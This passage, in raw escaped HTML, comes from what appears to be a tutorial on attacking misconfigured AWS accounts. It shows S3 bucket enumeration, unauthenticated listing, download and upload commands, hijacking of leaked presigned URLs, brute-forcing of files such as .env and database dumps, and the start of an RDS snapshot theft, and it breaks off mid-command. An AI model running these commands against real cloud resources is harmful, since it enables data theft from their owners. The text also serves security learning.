class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/sa7mon/S3Scanner.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd S3Scanner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip3 install -r requirements.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Check whether a specific bucket is public&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py bucket-name&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Scan multiple buckets&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py -l bucket-list.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Common results&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;[+] Public Read&lt;/code&gt;: Anyone can read the bucket.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;[+] Public Write&lt;/code&gt;: Anyone can write to the bucket (including uploading files).&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;[+] Public List&lt;/code&gt;: Anyone can list the files in the bucket.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;(2) Use&lt;/strong&gt; &lt;code&gt;bucket-stream&lt;/code&gt;** for real-time bucket discovery**&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;bucket-stream&lt;/code&gt; monitors &lt;strong&gt;public log streams&lt;/strong&gt; to discover possible AWS bucket names in real time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/eth0izzle/bucket-stream.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd bucket-stream&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 bucket-stream.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;What this tool does&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Monitors AWS access logs and extracts possible bucket names.&lt;/li&gt;&#10;&lt;li&gt;Useful for &lt;strong&gt;finding new AWS assets&lt;/strong&gt; (for example, an exposed bucket belonging to a company).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="bypassing-bucket-policies"&gt;&lt;a href="#bypassing-bucket-policies" class="header-anchor"&gt;&lt;/a&gt;Bypassing Bucket Policies&#10;&lt;/h3&gt;&lt;p&gt;This section builds on the enumeration section above. Enumeration only showed what you can do; this part explains why it works.&lt;/p&gt;&#10;&lt;h4 id="incorrect-bucket-policy-cross-account-access-vulnerability"&gt;&lt;a href="#incorrect-bucket-policy-cross-account-access-vulnerability" class="header-anchor"&gt;&lt;/a&gt;Incorrect Bucket Policy: Cross-Account Access Vulnerability&#10;&lt;/h4&gt;&lt;p&gt;S3 bucket policies usually use the &lt;code&gt;&amp;quot;Principal&amp;quot;&lt;/code&gt; field to specify &lt;strong&gt;who can access&lt;/strong&gt; the bucket. If it is set to &lt;code&gt;&amp;quot;Principal&amp;quot;: &amp;quot;*&amp;quot;&lt;/code&gt;, &lt;strong&gt;anyone&lt;/strong&gt; can access that bucket, potentially causing a data leak.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Example of an incorrect policy&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: [&amp;#34;s3:ListBucket&amp;#34;, &amp;#34;s3:GetObject&amp;#34;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:s3:::vulnerable-bucket/*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Anyone can read the data in the bucket!&#10;This explains what we saw in the previous section: why we can list, download, and upload files in the bucket.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(1) Test whether the bucket contents can be listed&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://vulnerable-bucket --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If it returns a file list, the bucket&amp;rsquo;s&lt;/strong&gt; &lt;code&gt;s3:ListBucket&lt;/code&gt;** permission has mistakenly been left open!**&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(2) Test whether files can be downloaded&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the download succeeds, the&lt;/strong&gt; &lt;code&gt;s3:GetObject&lt;/code&gt;** permission has mistakenly been left open!**&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(3) Test whether files can be uploaded&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;If &lt;code&gt;s3:PutObject&lt;/code&gt; has also been left open, an attacker can upload malicious files:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Malicious File&amp;#34; &amp;gt; malware.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;If the upload succeeds, the bucket also allows write access!&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h4 id="presigned-url-hijacking"&gt;&lt;a href="#presigned-url-hijacking" class="header-anchor"&gt;&lt;/a&gt;Presigned URL Hijacking&#10;&lt;/h4&gt;&lt;p&gt;AWS lets you create a &lt;strong&gt;presigned URL&lt;/strong&gt;, which is a &lt;strong&gt;temporary authorization URL&lt;/strong&gt; that allows users to access objects in an S3 bucket even when the bucket itself is private.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Presigned URL example&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 presign s3://private-bucket/secret.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;This command generates a URL that allows access to &lt;code&gt;secret.txt&lt;/code&gt; &lt;strong&gt;for a short time&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;The URL may look like this:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credent&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Attack method&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;If an attacker obtains this &lt;strong&gt;presigned URL&lt;/strong&gt; (through logs, the browser console, leaked code, and so on), they can download the file even if the S3 bucket is &lt;strong&gt;private&lt;/strong&gt;!&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;(1) Find presigned URLs&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Search the frontend code of a web application&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Open the browser&amp;rsquo;s F12 developer tools and search for &lt;code&gt;&amp;quot;s3.amazonaws.com&amp;quot;&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Search log files&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep -i &amp;#34;amazonaws.com&amp;#34; /var/log/*.log&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Search Git repositories&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git grep &amp;#34;s3.amazonaws.com&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;(2) Test whether the file can be accessed&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I &amp;#34;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;If it returns &lt;code&gt;200 OK&lt;/code&gt;, the presigned URL is still valid and the attacker can download the file:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -o stolen-secret.txt &amp;#34;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Both of these techniques depend on misconfiguration. The attacker has to find those mistakes, but the underlying ideas are simple and easy to understand.&lt;/p&gt;&#10;&lt;h2 id="data-exfiltration-and-persistence"&gt;&lt;a href="#data-exfiltration-and-persistence" class="header-anchor"&gt;&lt;/a&gt;Data Exfiltration and Persistence&#10;&lt;/h2&gt;&lt;h3 id="downloading-sensitive-files-from-s3"&gt;&lt;a href="#downloading-sensitive-files-from-s3" class="header-anchor"&gt;&lt;/a&gt;Downloading Sensitive Files from S3&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Go beyond simply enumerating buckets&lt;/strong&gt; and &lt;strong&gt;pinpoint sensitive files&lt;/strong&gt; (database backups, configuration files, logs, etc.).&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Even if the bucket itself is restricted, files with misconfigured ACLs may still be downloaded directly!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Common types of sensitive files&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;backup.zip&lt;/code&gt; / &lt;code&gt;db-dump.sql&lt;/code&gt; (database backups)&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;config.json&lt;/code&gt; / &lt;code&gt;.env&lt;/code&gt; (API keys &amp;amp; configuration files)&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;access.log&lt;/code&gt; / &lt;code&gt;debug.log&lt;/code&gt; (log files that may contain AWS keys)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;Test whether a known sensitive file can be downloaded&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://target-bucket/backup.zip . --no-sign-request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;If the file can be downloaded&lt;/strong&gt;: the ACL for &lt;code&gt;backup.zip&lt;/code&gt; is misconfigured.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If it returns&lt;/strong&gt; &lt;code&gt;403 Forbidden&lt;/code&gt;: &lt;code&gt;s3:GetObject&lt;/code&gt; is denied.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;s3scanner&lt;/code&gt; &lt;strong&gt;to automatically scan for sensitive files&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Install &lt;code&gt;s3scanner&lt;/code&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/sa7mon/S3Scanner.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd S3Scanner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip3 install -r requirements.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;📌 &lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;s3scanner&lt;/code&gt; &lt;strong&gt;to scan for sensitive files in a bucket&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;wordlist.txt&lt;/code&gt; may contain:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;config.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.env&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db-dump.sql&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;access.log&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;error.log&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If brute forcing produces a 200 response, the file can be downloaded. Although this is somewhat similar to the previous method, the logic is different: this one is essentially brute forcing.&lt;/p&gt;&#10;&lt;h3 id="stealing-rds-database-snapshots"&gt;&lt;a href="#stealing-rds-database-snapshots" class="header-anchor"&gt;&lt;/a&gt;Stealing RDS Database Snapshots&#10;&lt;/h3&gt;&lt;p&gt;Exploit an AWS RDS misconfiguration to create a database snapshot and share it with an attacker&amp;rsquo;s account, thereby obtaining the database data.&lt;/p&gt;&#10;&lt;p&gt;Amazon RDS (Relational Database Service) supports &lt;strong&gt;creating snapshots (Snapshot)&lt;/strong&gt; for &lt;strong&gt;backing up and restoring databases&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;RDS snapshots can be shared&lt;/strong&gt; (&lt;code&gt;modify-db-snapshot-attribute&lt;/code&gt;). If this is misconfigured, an attacker can steal the database data.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Even without direct access to RDS&lt;/strong&gt;, an attacker can still steal the database through a &lt;strong&gt;snapshot-sharing vulnerability&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="1-check-whether-an-rds-snapshot-can-be-created"&gt;&lt;a href="#1-check-whether-an-rds-snapshot-can-be-created" class="header-anchor"&gt;&lt;/a&gt;1. Check Whether an RDS Snapshot Can Be Created&#10;&lt;/h4&gt;&lt;p&gt;If an attacker gains access to an AWS account, they can try to create an RDS snapshot:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier 